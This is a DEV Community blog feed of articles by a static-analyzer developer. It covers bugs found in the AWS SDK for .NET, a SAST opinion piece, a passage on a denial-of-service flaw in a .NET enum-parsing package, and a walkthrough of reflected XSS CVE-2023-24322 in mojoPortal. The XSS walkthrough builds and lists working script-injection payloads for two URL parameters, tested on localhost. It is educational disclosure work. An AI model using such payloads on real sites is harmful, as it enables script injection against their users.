DEV Community: Sergey Vasiliev

Examining suspicious code fragments in AWS SDK for .NET

Sergey Vasiliev — Tue, 04 Jul 2023 12:24:53 +0000

Today we are dissecting AWS SDK for .NET. We will look at suspicious code fragments, figure out what's wrong with them, and try to reproduce some of the errors. Make yourself a cup of coffee and get cozy.

Some analysis details

What project is it?

AWS.SDK for .NET enables .NET developers to work with Amazon Web Services, Amazon S3, Amazon DynamoDB, etc.

I've taken the source code from the GitHub page of the project. If you need the exact version, here's the commit SHA: 93a94821dc8ff7a0073b74def6549728da3b51c7.

What tools were used to check the project?

I checked the code with the PVS-Studio analyzer using the plugin for Visual Studio.

What else is there to say?

Some warnings may look familiar to you, as those code fragments haven't changed since the last check. In this article, I duplicated the warnings that I found interesting.

Enough with the check details, let's take a look at the suspicious code fragments.

Examining suspicious code fragments

Issue #1

public static object GetAttr(object value, string path)
{
  if (string.IsNullOrEmpty(path)) throw new ArgumentNullException("path");

  var parts = path.Split('.');
  var propertyValue = value;

  for (int i = 0; i < parts.Length; i++)
  {
    var part = parts[i];

    // indexer is always at the end of path e.g. "Part1.Part2[3]"
    if (i == parts.Length - 1)
    {
      ....
      // indexer detected
      if (indexerStart >= 0)
      {
        ....
        if (!(propertyValue is IList)) 
          throw 
            new ArgumentException("Object addressing by pathing segment '{part}'
                                   with indexer must be IList");
        ....
      }
    }

   if (!(propertyValue is IPropertyBag)) 
     throw 
       new ArgumentException("Object addressing by pathing segment '{part}'
                              must be IPropertyBag");
   ....
  }
  ....
}

GitHub links: #1, #2.

It looks like developers forgot to interpolate the exception messages. So, the {part} string literal will be used instead of the actual value of the part variable.

Issue #2

private CredentialsRefreshState Authenticate(ICredentials userCredential)
{
  ....
  ICoreAmazonSTS coreSTSClient = null;
  try
  {
    ....

    coreSTSClient =  
      ServiceClientHelpers.CreateServiceFromAssembly<ICoreAmazonSTS>(....);
  }
  catch (Exception e)
  {
    ....
  }

  var samlCoreSTSClient
#if NETSTANDARD
    = coreSTSClient as ICoreAmazonSTS_SAML;
  if (coreSTSClient == null)
  {
    throw new NotImplementedException(
      "The currently loaded version of AWSSDK.SecurityToken 
       doesn't support SAML authentication.");
  }
#else
    = coreSTSClient;
#endif

  try
  {
    var credentials = samlCoreSTSClient.CredentialsFromSAMLAuthentication(....);
  }
  catch (Exception e)
  {
    var wrappedException = 
      new AmazonClientException("Credential generation from 
                                 SAML authentication failed.", 
                                e);

    var logger = Logger.GetLogger(typeof(FederatedAWSCredentials));
    logger.Error(wrappedException, wrappedException.Message);

    throw wrappedException;
  }
  ....
}

The GitHub link.

We need this large code fragment to understand the context better. The error lurks here:

var samlCoreSTSClient
#if NETSTANDARD
  = coreSTSClient as ICoreAmazonSTS_SAML;
if (coreSTSClient == null)
{
  throw new NotImplementedException(
    "The currently loaded version of AWSSDK.SecurityToken 
     doesn't support SAML authentication.");
}

In the if statement condition, the wrong variable is checked for null. The samlCoreSTSClient variable should have been checked instead of coreSTSClient.

Let's take a look at the following elements:

samlCoreSTSClient is the name of the resulting variable;
ICoreAmazonSTS_SAML is the type of an interface being cast to;
"... doesn't support SAML authentication" is the text of the exception message.

SAML is mentioned everywhere except for the name of the variable being checked (coreSTSClient). :)

It's interesting how checking different variables changes the logic if the casting fails.

When checking samlCoreSTSClient:

-> casting with the as operator
-> checking if samlCoreSTSClient equals null
-> throwing NotImplementedException

When checking coreSTSClient:

-> casting with the as operator
-> checking if coreSTSClient equals null
-> attempting to call the CredentialsFromSAMLAuthentication method
-> throwing the NotImplementedException exception
-> catching an exception in catch
-> logging the issue
-> throwing AmazonClientException

That is, an exception of a different type and with a different message will be thrown in the external code.

By the way, checking for the wrong variable after using the as operator is a quite common error in C# projects. Take a look at other examples.

Issue #3

public static class EC2InstanceMetadata
{
  [Obsolete("EC2_METADATA_SVC is obsolete, refer to ServiceEndpoint 
             instead to respect environment and profile overrides.")]
  public static readonly string EC2_METADATA_SVC = "http://169.254.169.254";

  [Obsolete("EC2_METADATA_ROOT is obsolete, refer to EC2MetadataRoot 
             instead to respect environment and profile overrides.")]
  public static readonly string 
    EC2_METADATA_ROOT = EC2_METADATA_SVC + LATEST + "/meta-data";

  [Obsolete("EC2_USERDATA_ROOT is obsolete, refer to EC2UserDataRoot 
             instead to respect environment and profile overrides.")]
  public static readonly string 
    EC2_USERDATA_ROOT = EC2_METADATA_SVC + LATEST + "/user-data";

  [Obsolete("EC2_DYNAMICDATA_ROOT is obsolete, refer to EC2DynamicDataRoot 
             instead to respect environment and profile overrides.")]
  public static readonly string 
    EC2_DYNAMICDATA_ROOT = EC2_METADATA_SVC + LATEST + "/dynamic";

  [Obsolete("EC2_APITOKEN_URL is obsolete, refer to EC2ApiTokenUrl 
             instead to respect environment and profile overrides.")]
  public static readonly string 
    EC2_APITOKEN_URL = EC2_METADATA_SVC + LATEST + "/api/token";

  public static readonly string
    LATEST = "/latest",
    AWS_EC2_METADATA_DISABLED = "AWS_EC2_METADATA_DISABLED";
  ....
}

The GitHub link.

Note the order in which the fields are declared and initialized.

The EC2_APITOKEN_URL, EC2_DYNAMICDATA_ROOT, EC2_USERDATA_ROOT, and EC2_METADATA_ROOT fields are declared first. Each of them uses the LATEST field in the initializer. However, the field is not yet initialized when being used, because it is declared further in the code. As a result, when calculating values for the EC2_* fields, the default(string) value (null) will be used instead of the "/latest" string.

We can easily verify the above by referring to the corresponding API:

var arr = new[]
{
  EC2InstanceMetadata.EC2_APITOKEN_URL,
  EC2InstanceMetadata.EC2_DYNAMICDATA_ROOT,
  EC2InstanceMetadata.EC2_USERDATA_ROOT,
  EC2InstanceMetadata.EC2_METADATA_ROOT
};

foreach(var item in arr)
  Console.WriteLine(item);

The result of code execution:

As you can see, no line has the "/latest" literal.

But it's debatable if this is a mistake. The order of field initialization was changed in an individual commit. In the same commit, the fields were decorated with the Obsolete attribute. Although, if you are not going to use the actual LATEST value, it's better not to use it at all. This way, the code won't confuse anybody.

Issue #4

public IRequest Marshall(GetObjectTorrentRequest getObjectTorrentRequest)
{
  IRequest request = new DefaultRequest(getObjectTorrentRequest, "AmazonS3");

  request.HttpMethod = "GET";

  if (getObjectTorrentRequest.IsSetRequestPayer())
    request.Headers
           .Add(S3Constants.AmzHeaderRequestPayer,  
                S3Transforms.ToStringValue(getObjectTorrentRequest.RequestPayer
                                                                  .ToString()));

  if (getObjectTorrentRequest.IsSetRequestPayer())
    request.Headers
           .Add(S3Constants.AmzHeaderRequestPayer, 
                S3Transforms.ToStringValue(getObjectTorrentRequest.RequestPayer
                                                                  .ToString()));

  if (getObjectTorrentRequest.IsSetExpectedBucketOwner())
    request.Headers
           .Add(S3Constants.AmzHeaderExpectedBucketOwner, 
                S3Transforms.ToStringValue(
                  getObjectTorrentRequest.ExpectedBucketOwner));
  ....
}

The GitHub link.

The first two if statements completely duplicate each other in both conditions and bodies. Either one of them is redundant and needs to be removed, or one of the statements should have a different condition and perform other actions.

Issue #5

public string Region 
{ 
  get 
  {
    if (String.IsNullOrEmpty(this.linker.s3.region))
    {
      return "us-east-1";
    }
    return this.linker.s3.region; 
  } 

  set 
  {
    if (String.IsNullOrEmpty(value))
    {
      this.linker.s3.region = "us-east-1";
    }
    this.linker.s3.region = value; 
  } 
}

The GitHub link.

The code above is quite interesting. On the one hand, there is an error. On the other hand, the error will not impact the app's logic if we work only with the Region property.

The error itself lurks in the set accessor. value will always be written to the this.linker.s3.region property. So, the String.IsNullOrEmpty(value) check has no effect. There is also a check in the get accessor: if linker.s3.region is null or an empty string, the property returns the "us-east-1" value.

So, here's what happens: it makes no difference whether there is an issue or not for a user who just deals with the Region property. Although, it's better to fix the error anyway.

Issue #6

internal string 
GetPreSignedURLInternal(....)
{
  ....
  RegionEndpoint endpoint = RegionEndpoint.GetBySystemName(region);
  var s3SignatureVersionOverride 
    = endpoint.GetEndpointForService("s3",
                                     Config.ToGetEndpointForServiceOptions())
              .SignatureVersionOverride;

  if (s3SignatureVersionOverride == "4" || s3SignatureVersionOverride == null)
  {
    signatureVersionToUse = SignatureVersion.SigV4;
  }

  var fallbackToSigV2 = useSigV2Fallback && !AWSConfigsS3.UseSigV4SetExplicitly;
  if (   endpoint?.SystemName == RegionEndpoint.USEast1.SystemName 
      && fallbackToSigV2)
  {
    signatureVersionToUse = SignatureVersion.SigV2;
  }
  ....
}

The GitHub link.

A strange order of handling potential null values attracts bugs. Sometimes the value is used before it is checked for null. This is where we encounter puzzles: is it an error and an exception will be thrown? Is the check redundant, and the variable can't be null? Is it something else...?

Here we have a similar issue. Developers accessed the endpoint variable unconditionally (endpoint.GetEndpointForService), but then they used the conditional access operator (endpoint?.SystemName).

Issue #7

public class GetObjectMetadataResponse : AmazonWebServiceResponse
{
  ....
  private ServerSideEncryptionMethod 
    serverSideEncryption;

  private ServerSideEncryptionCustomerMethod 
    serverSideEncryptionCustomerMethod;
  ....

  public ServerSideEncryptionCustomerMethod  
    ServerSideEncryptionCustomerMethod 
  { 
    get
    {
      if (this.serverSideEncryptionCustomerMethod == null)
        return ServerSideEncryptionCustomerMethod.None;

      return this.serverSideEncryptionCustomerMethod;
    }
    set { this.serverSideEncryptionCustomerMethod = value; } 
  }


  // Check to see if ServerSideEncryptionCustomerMethod property is set
  internal bool IsSetServerSideEncryptionCustomerMethod()
  {
    return this.serverSideEncryptionCustomerMethod != null;
  }

  ....

  public ServerSideEncryptionMethod 
    ServerSideEncryptionMethod
  {
    get 
    {
      if (this.serverSideEncryption == null)
        return ServerSideEncryptionMethod.None;

      return this.serverSideEncryption; 
    }
    set { this.serverSideEncryption = value; }
  }

  // Check to see if ServerSideEncryptionCustomerMethod property is set
  internal bool IsSetServerSideEncryptionMethod()
  {
    return this.serverSideEncryptionCustomerMethod != null;
  }
  ....
}

GitHub links: #1, #2.

Let me warn you: similar names are about to make your eyes dazzled. I guess that's what caused an error.

The ServerSideEncryptionMethod and the ServerSideEncryptionCustomerMethod properties are defined in the GetObjectMetadataResponse type. They use the serverSideEncryption and serverSideEncryptionCustomerMethod backing fields:

ServerSideEncryptionMethod -> serverSideEncryption;
ServerSideEncryptionCustomerMethod -> serverSideEncryptionCustomerMethod.

There are IsSetServerSideEncryptionMethod and IsSetServerSideEncryptionCustomerMethod as well. You may assume, they also use the serverSideEncryption and serverSideEncryptionCustomerMethod backing fields, respectively... But no. Because of the error, both methods check the serverSideEncryptionCustomerMethod field.

// Check to see if ServerSideEncryptionCustomerMethod property is set
internal bool IsSetServerSideEncryptionCustomerMethod()
{
  return this.serverSideEncryptionCustomerMethod != null;
}

// Check to see if ServerSideEncryptionCustomerMethod property is set
internal bool IsSetServerSideEncryptionMethod()
{
  return this.serverSideEncryptionCustomerMethod != null;
}

The IsSetServerSideEncryptionMethod method should check the serverSideEncryption field.

Issue #8

public string GetDecryptedPassword(string rsaPrivateKey)
{
  RSAParameters rsaParams;
  try
  {
    rsaParams = new PemReader(
                  new StringReader(rsaPrivateKey.Trim())
                ).ReadPrivatekey();
  }
  catch (Exception e)
  {
    throw new AmazonEC2Exception("Invalid RSA Private Key", e);
  }

  RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
  rsa.ImportParameters(rsaParams);

  byte[] encryptedBytes = Convert.FromBase64String(this.PasswordData);
  var decryptedBytes = rsa.Decrypt(encryptedBytes, false);

  string decrypted = Encoding.UTF8.GetString(decryptedBytes);
  return decrypted;
}

The GitHub link.

The RSACryptoServiceProvider type implements the IDisposable interface. In this code, however, the Dispose method is called neither explicitly nor implicitly.

I can't say if it's critical in this case. However, it would be better to call Dispose to clean up data, especially when the code is working with passwords, etc.

Issue #9

public class ResizeJobFlowStep
{
  ....
  public OnFailure? OnFailure
  {
    get { return  this.OnFailure; }
    set { this.onFailure = value; }
  }
  ....
}

The GitHub link.

Due to a typo in the get accessor of the OnFailure property, the OnFailure property is used instead of the onFailure backing field. An attempt to get a property value results in an infinite recursion, which causes StackOverflowException.

We can easily reproduce this error by using the corresponding API:

ResizeJobFlowStep obj = new ResizeJobFlowStep();
_ = obj.OnFailure;

Compile the code, run it, and get the expected result:

Issue #10

private static void 
writeConditions(Statement statement, JsonWriter generator)
{
  ....
  IList<string> conditionValues = keyEntry.Value;
  if (conditionValues.Count == 0)
    continue;

  generator.WritePropertyName(keyEntry.Key);

  if (conditionValues.Count > 1)
  {
    generator.WriteArrayStart();
  }

  if (conditionValues != null && conditionValues.Count != 0)
  {
    foreach (string conditionValue in conditionValues)
    {
      generator.Write(conditionValue);
    }
  }
  ....
}

The GitHub link.

The code looks weird: first, the reference from the conditionValues variable is dereferenced, and then it is checked for null. However, the value of the variable doesn't change. So, if the reference is null, NullReferenceException will occur while executing conditionValues.Count == 0.

This code may have both an error and a redundant check for null inequality.

There is one thing I'd like to point out. I got the impression that the project developers like to add null equality checks just in case. :) Take a look at some examples below.

string[] settings 
  = value.Split(validSeparators, StringSplitOptions.RemoveEmptyEntries);

if (settings == null || settings.Length == 0)
    return LoggingOptions.None;

The GitHub link.

The String.Split method doesn't return null. There's a similar check here.

Here is another example of a similar check:

var constructors 
  = GetConstructors(objectTypeWrapper, validConstructorInputs).ToList();

if (constructors != null && constructors.Count > 0)

The GitHub link.

The Enumerable.ToList method doesn't return null, so the value of the constructors variable can never be null.

The example below is closer to the original one — developers first dereferenced the reference, then checked its value for null:

TraceSource ts = new TraceSource(testName, sourceLevels);
ts.Listeners.AddRange(AWSConfigs.TraceListeners(testName));

// no listeners? skip
if (ts.Listeners == null || ts.Listeners.Count == 0)

The GitHub link.

Although, I haven't found any cases where the Listeners property could be null. In .NET, the return value of the property is marked with a null-forgiving operator (link to GitHub):

public TraceListenerCollection Listeners
{
  get
  {
    Initialize();
    return _listeners!;
  }
}

Issue #11

private static string GetXamarinInformation()
{
  var xamarinDevice = Type.GetType("Xamarin.Forms.Device, Xamarin.Forms.Core");
  if (xamarinDevice == null)
  {
    return null;
  }

  var runtime = xamarinDevice.GetProperty("RuntimePlatform")
                            ?.GetValue(null)
                            ?.ToString() ?? "";

  var idiom = xamarinDevice.GetProperty("Idiom")
                          ?.GetValue(null)
                          ?.ToString() ?? "";

  var platform = runtime + idiom;

  if (string.IsNullOrEmpty(platform))
  {
    platform = UnknownPlatform;
  }

  return string.Format(CultureInfo.InvariantCulture, "Xamarin_{0}", "Xamarin");
}

The GitHub link.

The last line of the method looks odd. The "Xamarin" string literal is substituted in the "Xamarin_{0}" template using String.Format. The value of the platform variable, which can store the necessary information, is ignored. That's strange.

I assume that the return statement should look like this:

return string.Format(CultureInfo.InvariantCulture, "Xamarin_{0}", platform);

By the way, there is a similar method for getting the Unity game engine information. It is written in a similar pattern, but the return value is produced correctly:

private static string GetUnityInformation()
{
  var unityApplication 
    = Type.GetType("UnityEngine.Application, UnityEngine.CoreModule");
  if (unityApplication == null)
  {
    return null;
  }

  var platform = unityApplication.GetProperty("platform")
                                ?.GetValue(null)
                                ?.ToString() ?? UnknownPlatform;

  return string.Format(CultureInfo.InvariantCulture, "Unity_{0}", platform);
}

Conclusion

Before publishing this article, I've already notified the developers of the issues I found in the project — here is the link to the bug report.

Do you want to know if your project has similar issues? Check your code with the PVS-Studio analyzer.

XSS vulnerability in the ASP.NET application: CVE-2023-24322 in mojoPortal CMS

Sergey Vasiliev — Wed, 31 May 2023 12:07:48 +0000

In this article, we will thoroughly examine the XSS vulnerability in a CMS written in C#. Let's recall the theory, figure out how the security defect looks from a user's perspective and in code, and also practice writing exploits.

What is cross-site scripting (XSS)?

Note. You can skip this section if you are already familiar with the XSS basics.

XSS (cross-site scripting) is an application vulnerability that involves injecting code into a page viewed by a user. If the application is not protected from XSS, an attacker can inject JavaScript code and steal data or perform other malicious actions.

The simplest example of XSS is when data from parameters or input fields are used without checking/escaping the data itself.

Let's say there is a JS script that extracts the name parameter value from the query string and welcomes the user on the web page:



<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>

We make a request of the XSSExample.html?name=John kind and get the expected response on the page — "Hello John!".

However, if we pass a script instead of the name, it will also be injected in the document's body and executed.

Request example:



XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>

Result:

We've successfully injected the code. This security flaw is called reflected XSS. The injected script is not saved anywhere, and the attacker intends to make the victim make an insecure request to the page (for example, by opening a malicious link). Obviously, not to show the form — it's just a simple way to confirm XSS presence.

Analysis of XSS in mojoPortal CMS (CVE-2023-24322)

Now when we're done with the theory and synthetic examples, let's turn to the analysis of the specific XSS in the open-source project mojoPortal. mojoPortal is a CMS written in C# using ASP.NET. The project's source code is available on GitHub. The XSS vulnerability we are discussing today was discovered in the 2.7.0.0 version.

This vulnerability has the CVE-2023-24322 identifier:

A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.

Here are some key points from the description:

the vulnerability is located on the FileDialog.aspx page;
the security flaw can be exploited via the ed and tbi request parameters.

What is the first thing that comes to mind when trying to check XSS? Probably, passing data like <script>alert(0)</script> via the vulnerable parameter. :)

Let's try writing this string to both parameters and see what happens.

Writing it to the ed parameter yields no results.

But if we pass the same string via the tbi parameter, then the page content will change in an interesting way:

However, this is still not what we expected — the pop-up window (the alert call result) did not appear.

So that we can better understand what is happening and create exploits, let's look into the source code and see how the values of request parameters are used.

General logic

Let's look at the code and see what unites the ed and tbi parameters, then we will analyze their processing.

We will start with the Page_Load method that handles the FileDialog.aspx page load event:



protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

Firstly, we are interested in the LoadSettings method logic. The values of the ed and tbi parameters are written to editorType and clientTextBoxId fields, respectively.



public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}

Going back to Page_Load:



protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}

Checking fileSystem == null results in false, and we are not interested in the PopulateLabels method. Therefore, let's look at the SetupScripts body:



private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}

There are 2 methods that are relevant to us: SetupMainScript and SetupjQueryFileTreeScript. Why? You will understand that a little later.

Let's start with the SetupMainScript method:



private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}

Here we can see switch and the editorType field (the ed parameter) that was mentioned before. We influence the code execution logic by changing the parameter value. Now let's take a look at the default section and the SetupDefaultScript method call:



//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }

  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}

Interesting. The method gradually writes the JavaScript code to the script variable, then it registers the script via the RegisterClientScriptBlock method call. At the same time, the clientTextBoxId value corresponding to the tbi parameter is also inserted in the script.

A similar thing is observed in the SetupjQueryFileTreeScript method, which I mentioned earlier. The method also generates and registers the script using the editorType value (which corresponds to the ed parameter).

Because the SetupjQueryFileTreeScript method is fairly long, I've shortened it below. Here you can find the full version of the code.



private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}

This is an important point, so let's go over it again.

Both methods (SetupDefaultScript and SetupjQueryFileTreeScript) have a similar structure. They use the HTTP request parameter values (tbi and ed) to create the script.

In a generalized (and simplified) form, the code looks like this:



void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}

Our task is to "break" the script written to the script variable. If we succeed, we will change the logic of the generated script and see the result of the code injection.

Since scripts differ in structure and nesting, exploits will also be different. Let's examine each of them separately.

A note on scripts formatting. In the article, I formatted the JS scripts for better readability. In fact, they are written in 2 lines: the opening tag with the script body on the first line and the closing tag on the second one:



<script type="text/javascript">function fbSubmit () { .... }
</script>

Here you can find the full script with its original formatting.

Remember this feature, as it affects the exploit.

Exploit with the tbi parameter

The script with the tbi parameter looks simpler, so we will start with it.

Let's make a request of the following type:



http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload

Then the JS code generated in the SetupDefaultScript method may look like this:



<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>

Look at the second argument of the SetUrl method: that's where our data, wrapped in quotes, ended up.

Let's try to create a request that will "break" the script and allow us to inject the code. The exploit must solve the following tasks:

"close" the second argument of the SetUrl function;
"close" the SetUrl function call;
going beyond the fbSubmit function body;
inject the code;
comment out the remaining piece of the original code (the one that closes the substitution template).

The following string should solve all of the tasks:



TestPayload');}alert('You have been hacked via XSS');//

Let's analyze what its parts do:

TestPayload' "closes" the function argument;
); "closes" the SetUrl function call;
} "closes" the fbSubmit function body;
alert('You have been hacked via XSS'); — the main injection logic;
// — comments out the part of the original template that was left after substituting — ');}.

Now let's check our assumption. To do this, we will make the following request:



http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//

The result was to be expected:

Now the generated JS code with such a request looks like this:



<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>

As you can see, the exploit solved all the tasks: it helped us to go beyond the function and successfully inject the code.

Well, that's great! We've figured out how to exploit the XSS vulnerability with the tbi parameter. Now let's move on to the second vulnerable parameter — ed.

Exploit with the ed parameter

The principle of creating an exploit for the ed parameter is similar to tbi.

Let me remind you that the JS code, in which the value of the ed parameter is inserted, is generated in the SetupjQueryFileTreeScript (link) method.

Let's make a request of the following type:



http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload

Now let's look at the generated script. The full version is here, I give a shortened version below:



<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>

Note that the ed parameter value (the TestPayload string) got inside the literal.

We face a task similar to the previous one. It is necessary to select the data that would help go beyond the argument of the encodeURIComponent function and inject the code.

The exploit should solve several tasks as well:

"close" the encodeURIComponent function argument;
"close" functions' calls and bodies;
inject the code;
comment out the template's "tail" that will be left after we implement the logic.

The following string meets all the requirements:



TestPayload');});});alert('You have been hacked via XSS');//

The purpose of its components is also clear:

TestPayload' "closes" the encodeURIComponent function argument;
); "closes" the encodeURIComponent function call;
});}); "closes" the external functions' bodies;
alert('You have been hacked via XSS'); — the main injection logic;
// comments out the part of the original script that remained after substitution.

Let's make the following request:



http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//

Take a look at the result:

We got exactly what we expected.

The parameter value specified above made the generated JS code look like this (this version is shortened, and here is the full one):



<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>

Everything worked just as we expected: we exited the function bodies and inserted our code. You can see how the script changed its logic after we successfully injected data from our request into it.

How did developers fix the code?

The current version of the project doesn't have the FileDialog.aspx.cs file, which had vulnerabilities. I may assume that the code has been rewritten or just deleted.

Conclusion

We have figured out how XSS might look like in a real project. Let's sum up the main points — it will come in handy if you'd like to tinker with the vulnerability yourself:

CVE-ID: CVE-2023-24322
Project: mojoPortal v2.7.0.0
the vulnerability description: it's possible to exploit XSS on the /Dialog/FileDialog.aspx page when using the ed and tbi parameters
possible exploit for ed: TestPayload');});});alert('You have been hacked via XSS');//
possible exploit for tbi: TestPayload');}alert('You have been hacked via XSS');//

If you liked this article and want to read more on the security topic, you are welcome to the blog.

If you want to check your project's code for security flaws (XSS, SQLi, XXE, etc.), try to analyze it with PVS-Studio.

Do developers dream of secure apps?

Sergey Vasiliev — Tue, 25 Apr 2023 12:37:18 +0000

Do developers care about code security? This question, I believe, is still open to debate. I wrote this article to solicit feedback from both developers and security experts. Would you help me with that?

I'll explain why this topic interests me.

I'm working on PVS-Studio. Our tool detects both coding errors and security flaws. Thus, PVS-Studio combines the features of both a "typical" static analyzer and SAST solution.

I've been interested in PVS-Studio being a SAST solution. So, I'd like to know more about what teams expect from such tools. What problems do they face when introducing SAST into the development process? What matters to them and what does not? How are workflows for handling analysis results managed?

Since the experience of integrating SAST is often discussed at security conferences, I listened to the talks seeking answers to these questions. After watching a dozen talks, I was left with the idea that... developers aren't truly interested in SAST.

Take it from me, developers would say a few choice words after they find that SAST has been brought into the development process.

I noticed a common idea in the talks: developers are not happy with the integration of SAST. It's not easy to set up a workflow so that developers sort out and handle all the warnings.

However, SAST helps to find some security problems. That's why teams developing secure SDLC integrate SAST into the development process. While different companies take different approaches:

some companies take a firm line and impose a blocking security gate on SAST warnings;
other companies take a more lenient approach and do not block development processes with warnings.

In the first case, developers hack the system (for example, they may suppress all warnings, whether they are false or not), while in the second case, developers may not take the analysis results into account.

Changing people's minds and getting them to be at ease with fixing their code is another matter.

This raises the question: do developers care about code security?

Well, SAST solutions should help development teams improve code security. Yes, there are drawbacks, such as false positives, but still. Why do disputes arise? Is the problem in the tools, in the workflows, or both?

This is where I need your help — could you share your experience and help me find answers?

Do the development and security teams have any conflicts of interest? How does SAST integrate into the development process? What matters in the SAST tool and what doesn't? Who handles the analysis results, and how it is done?

You are welcome to share your opinions and experiences: tell me more about how these workflows function in your company, what you like and dislike about them, and what may be improved.

Converting string to enum at the cost of 50 GB: CVE-2020-36620

Sergey Vasiliev — Tue, 21 Mar 2023 11:35:30 +0000

In this article, we're going to discuss the CVE-2020-36620 vulnerability and see how a NuGet package for converting string to enum can make a C# application vulnerable to DoS attacks.

Imagine a server application that interacts with a user. In one of the scenarios, the application receives data from the user in a string representation and converts it into enumeration elements (string -> enum).

To convert a string into an enumeration element, we can use standard .NET tools:

String colorStr = GetColorFromUser();
if (Enum.TryParse(colorStr, out ConsoleColor parsedColor))
{
  // Process value...
}

Or we can find some NuGet package and try to do the same with it. For example, EnumStringValues.

Since we have a sense of adventure (right?), let's take the EnumStringValues 4.0.0 package to convert strings. The exclamation point in front of the package version makes it even more intriguing...

Here's how the code using package's API might look like:

static void ChangeConsoleColor()
{
  String colorStr = GetColorFromUser();

  if (colorStr.TryParseStringValueToEnum<ConsoleColor>(
        out var parsedColor))
  {
    // Change console color...
  }
  else
  {
    // Error processing
  }
}

Let's see what's going on here:

the data from the user is written to the colorStr variable;
with the help of the library's API, the EnumStringValues string is converted to an instance of the ConsoleColor enumeration;
if the conversion is successful (then-branch), the color of the console changes;
if otherwise (else-branch), an error warning is issued.

Strings are converted, the application is running. Everything seems good... but there's one thing. It turns out that the application can behave as follows:

Oh, wait, we have a package marked with an "exclamation point", right... Let's try to figure out why there's such a high memory consumption. The following code will help us:

while (true)
{
  String valueToParse = ....;
  _ = valueToParse.TryParseStringValueToEnum<ConsoleColor>(
        out var parsedValue);
}

Using the library, the code infinitely parses strings — nothing unusual. If valueToParse takes values of string representations of ConsoleColor elements ("Black", "Red", etc.), the application will behave as expected:

The issues appear when we write unique strings to valueToParse. For example, as follows:

String valueToParse = Guid.NewGuid().ToString();

In this case, the application starts to consume memory uncontrollably.

Let's try to figure out what's going on. Take a look at the TryParseStringValueToEnum<T> method:

public static bool 
TryParseStringValueToEnum<TEnumType>(
  this string stringValue, 
  out TEnumType parsedValue) where TEnumType : System.Enum
{
  if (stringValue == null)
  {
    throw new ArgumentNullException(nameof(stringValue), 
                                    "Input string may not be null.");
  }

  var lowerStringValue = stringValue.ToLower();
  if (!Behaviour.UseCaching)
  {
    return TryParseStringValueToEnum_Uncached(lowerStringValue, 
                                              out parsedValue);
  }

  return TryParseStringValueToEnum_ViaCache(lowerStringValue, 
                                            out parsedValue);
}

